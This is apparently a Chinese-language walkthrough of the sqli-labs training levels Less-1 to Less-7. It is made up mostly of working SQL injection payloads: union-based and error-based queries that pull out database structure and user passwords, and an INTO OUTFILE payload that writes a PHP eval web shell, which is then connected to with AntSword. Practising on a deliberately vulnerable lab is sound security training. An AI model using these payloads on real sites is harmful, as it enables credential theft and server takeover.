Less-1
-
判断是否存在注入
http://sql/Less-1/?id=1'
根据报错信息,说明是字符型注入,闭合方式为’
-
猜字段的数量,根据我们传入id最终查询到结果的列数
?id=1'order by 3--+ 正常 ?id=1'order by 4--+ 报错
说明字段数为3
-
报显示位,id必须是查询不到的数据
?id=-1' union select 1,2,3--+
显示2,3位
-
查询详细信息
?id=-1' union select 1,concat_ws('~',database(),version(),user()),3--+
当前数据库,数据库版本,当前用户 -
查询具体
-
数据库
?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata--+
-
查询数据库对应表
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
-
查询表中的列
?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
-
查数据
?id=-1' union select 1,group_concat(id,0x3a,username,0x3a,password),3 from security.users --+
-
Less-2
数字型注入
?id=-1 union select 1,group_concat(id,0x3a,username,0x3a,password),3 from users --+
Less-3
字符型注入,闭合方式’)
?id=-1') union select 1,group_concat(id,0x3a,username,0x3a,password),3 from users --+
Less-4
字符型注入,闭合方式")
?id=-1") union select 1,group_concat(id,0x3a,username,0x3a,password),3 from users --+
Less-5
回显始终是"You are in…",可采用报错注入
输入单引号测试,字符型注入,闭合方式'
-
爆表名
?id=' and (select extractvalue(1,concat('~',(select table_name from information_schema.tables where table_schema=database()))))--+
报错
Subquery returns more than 1 row
可以加上limit来截取?id=' and (select extractvalue(1,concat('~',(select table_name from information_schema.tables where table_schema=database() limit 0,1))))--+
改变参数,爆出所有表
-
爆字段
-
爆数据
?id=' and (select extractvalue(1,concat('~',(select concat_ws('~',id,password) from users limit 0,1))))--+
Less-6
双引号闭合,操作同Less-5
Less-7
?id=1
由回显结果提示知使用outfile函数
判断注入点,'))'
闭合
首先通过前面的关卡查出数据库相关参数/Less-1/?id=-1' union select 1,@@datadir,@@secure_file_priv --+
在mysql配置文件内加入secure_file_priv=""
写入一句话木马
?id=')) union select 1,2,"<?php @eval($_POST['pass']);?>" into outfile "E:/phpstudy_pro/www/sqli/Less-7/2.php" --+
可以看到,在目标目录下有了2.php的文件,使用蚁剑连接